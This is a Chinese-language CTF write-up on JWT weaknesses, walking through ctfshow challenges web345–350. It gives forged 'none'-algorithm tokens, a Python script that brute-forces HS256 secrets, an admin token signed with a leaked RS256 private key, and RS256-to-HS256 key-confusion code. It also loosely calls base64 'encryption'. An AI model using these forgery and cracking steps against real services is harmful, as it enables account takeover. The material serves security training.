JWT浅析

JWT即JSON WEB TOKEN,由三个部分组成,并用两个“.”进行连接。第一部分为header(base64加密),第二部分为payload(base64加密),第三部分为verify signature,它的构成如下:

HEADER中alg对应的加密方式为HS256,也可以选择其他对称或非对称的加密方式,大同小异。

PAYLOAD中一般包括用户信息。

Verify Signature中包括加密的密码。

JWT本质上是一种校验值,用来验证身份和数据是否被更改。

web345-350

web345(none)

查看源码得到Hint/admin

访问后抓包看到cookie

Cookie: auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MjIwNTgwNTksImV4cCI6MTcyMjA2NTI1OSwibmJmIjoxNzIyMDU4MDU5LCJzdWIiOiJ1c2VyIiwianRpIjoiMzQ4NWJkNjFmY2MwZjFhNjY4NDNhYzlhYTBhMzZjNzEifV0

.将其分为两半分别base64解码

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0 -->  {"alg":"None","typ":"jwt"}

W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MjIwNTgwNTksImV4cCI6MTcyMjA2NTI1OSwibmJmIjoxNzIyMDU4MDU5LCJzdWIiOiJ1c2VyIiwianRpIjoiMzQ4NWJkNjFmY2MwZjFhNjY4NDNhYzlhYTBhMzZjNzEifV0  -->[{"iss":"admin","iat":1722058059,"exp":1722065259,"nbf":1722058059,"sub":"user","jti":"3485bd61fcc0f1a66843ac9aa0a36c71"}]

然后将后半部分改为[{"sub":"admin"}]base64编码后与第一部分拼接

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0A.W3sic3ViIjoiYWRtaW4ifV0

发送得到flag

web346-348(HS256)

这次使用了HS256加密,主要就是爆破key,网上有很多方法,这里我使用的是JWT_GUI

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcyMjA2MjAzMSwiZXhwIjoxNzIyMDY5MjMxLCJuYmYiOjE3MjIwNjIwMzEsInN1YiI6ImFkbWluIiwianRpIjoiNjUwZWVkZWVjNDAwYTA2ZTAxNWM1NjUzOWNkMmY5MTAifQ.Q2JT2tqgC8JogIjUH6PNNQN3_MY3QmDp8LK6aBj7Pfs

这里也有py爆破脚本

python ./pydictor.py -base d --len 1 6 -o nums1_6.txt
import jwt
import json

def runblasting(path,jwt_str,alg):
    if alg == "none":
        alg = "HS256"
    with open(path,encoding='utf-8') as f:
        for line in f:
            key_ = line.strip()
            print('use '+key_)
            try:
                jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
                print('found key! -->' + key_)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError):
                print('found key! -->' + key_)
                break
            except(jwt.exceptions.InvalidSignatureError):
                continue
        else:
            print("key not found!")

if __name__ == '__main__':
    path = './nums1_6.txt'
    jwt_str = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjY2NzAxMywiZXhwIjoxNjMyNjc0MjEzLCJuYmYiOjE2MzI2NjcwMTMsInN1YiI6InVzZXIiLCJqdGkiOiIyNzM3NjJhOWU1NjZhMmIzNDJhYjUxN2VjNDNiOWY5YSJ9.4sf78nrf_g84F9m0Bpgbvn8fC1YkECCFZPd5U9tULYg"
    alg = 'HS256'
    runblasting(path,jwt_str,alg)

348 key : aabb

web349(RS256)

Hint:

// app.js
/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

使用了RS256加密,但是公私钥都可以访问到

同上工具

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3MjIwNjM2OTd9.tUleRykg1PvGpCF1_mpKka0XK0eYp0X68cYVDnexuzy1gHWlEnAtOqSuwSclFSeLqHPGhIuWWCbyMlLuj9H8E-wq2l3GZYIzbiDLjR6C0XDwVQqP2eSgP1E00bSedY-fJtsDD9Jwwk-Xu9sG5Zo56dkoUmo51vXuJimGiVj1HDU

web350(RS256 -> HS256)

可以根据公钥,修改算法从 非对称算法(比如RS256) 到 对称密钥算法(HS256)双方都使用公钥验签,顺利篡改数据

当公钥可以拿到时,如果使用对称密码,则对面使用相同的公钥进行解密,实现验签通过

const jwt = require('jsonwebtoken');
const fs = require('fs');

var privateKey = fs.readFileSync(process.cwd()+'\\public.key');
// console.log(privateKey);

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3MjIwNjUxMDl9.M40dyhCvr5aIUAy_mEqCYJC8TAcbNrx02HOfhl-GRIU